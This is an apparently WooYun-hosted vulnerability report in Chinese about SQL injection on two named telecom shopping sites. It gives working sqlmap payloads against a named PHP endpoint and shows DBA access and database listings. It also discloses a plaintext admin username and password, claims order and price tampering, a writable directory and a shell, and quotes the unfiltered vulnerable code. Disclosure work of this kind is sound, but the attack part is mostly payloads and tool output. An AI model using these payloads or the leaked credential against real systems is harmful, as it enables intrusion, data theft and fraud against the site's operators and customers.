WooYun.org

#问题一，上个里面提了一处，但是为什么就修一处。。不把其他地方的也修了那。。
#目标 http://jf.js118114.com/SearchList.aspx?sc=3000_5000
加单引号http://jf.js118114.com/SearchList.aspx?sc=3000_5000' 爆出语句。
不继续构造了。
#问题二
北京电信翼商城存在注入漏洞，最后getshell
#注入点
http://ego10000.com/ajax_check_user.php?email=
------------------------------------------------------------------
Place: GET
Parameter: email
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: email=' AND 6307=6307 AND 'Okvb'='Okvb
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: email=' AND (SELECT 2893 FROM(SELECT COUNT(*),CONCAT(0x717a637471,(SELECT (CASE WHEN (2893=2893) THEN 1 ELSE 0 END)),0x71766c7371,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'AmJt'='AmJt
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: email=' AND SLEEP(5) AND 'YLcy'='YLcy
---
[21:26:50] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.2.14
back-end DBMS: MySQL 5.0
----------------------------------------------------------------
#权限
----------------------------------------------------------------
[21:28:25] [INFO] testing if current user is DBA
[21:28:25] [INFO] fetching current user
[21:28:25] [INFO] resumed: root@localhost
current user is DBA: True
-----------------------------------------------------------------
#数据泄漏
available databases [11]:
[*] dspam
[*] ego10000
[*] ego10000_bak
[*] extmail
[*] hallylure
[*] information_schema
[*] mysql
[*] shopstit
[*] stit_v3
[*] test
[*] ybzdb
可以找到后台账户密码，并且没有md5加密。直接进后台
比如 账户wlj 密码 111
后台可以改订单，可以改价格。
---------------------------------------------------------------------
#getshell
通过http://ego10000.com/includes/footer.php 爆出路径
/var/www/site/ego10000.com/
一顿试。最后/var/www/site/ego10000.com/img/big/目录可写

翻到了数据库密码，随便看下出问题的界面

include_once dirname(__FILE__).'/include.php';
include_once WWW_ROOT_PATH.'/cls/reg.class.php';
postSql();
$email = trim($_REQUEST['email']);
$reg =new reg();
$flag =  ($reg->check_user($email)) ? 1 : 0;
echo $flag;

其中$email接受 email来的数据之后什么也没过滤检查，就带入check_user。（未检查chcek_user函数）运行个三则运算。
留下尾巴证明来过
http://ego10000.com/img/big/2.txt


---------------------------------------------------------------
完毕